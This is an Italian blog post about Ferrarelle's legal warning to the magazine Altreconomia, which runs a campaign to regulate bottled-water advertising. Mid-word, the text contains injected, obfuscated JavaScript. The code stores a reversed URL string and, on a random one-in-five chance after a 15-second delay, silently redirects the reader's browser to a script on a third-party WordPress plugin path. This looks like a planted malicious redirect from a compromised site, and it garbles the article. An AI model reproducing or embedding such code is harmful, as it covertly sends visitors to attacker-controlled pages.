Liscia, gassata o… arrogante?

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Ferrarelle contro Altreconomia. La rivista per un’economia equa e sostenibile è colpevole di aver lanciato una campagna per la regolamentazione della pubblicità delle acque in bottiglia. Ferrarelle s.p.a. l’ha diffidata dal continuare. Forse non tutti sanno che l’Italia è il paese europeo che consuma più acqua minerale, con gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande spreco di bottiglie spesso di plastica e grande traffico di camion su e giù per la penisola. Le aziende delle acque spendono in pubblicità 379 milioni di euro l’anno. Se lo possono permettere, visto che per lo sfruttamento delle sorgenti pagano concessioni ridicole. Un esempio? La Nestlè paga 30mila euro l’anno per imbottigliare 100 milioni di litri di acqua Pejo. Ecco i perché della campagna di Altreconomia, che, ovviamente, non si ferma. Per saperne di più e firmare si può andare sul sito www.altreconomia.org

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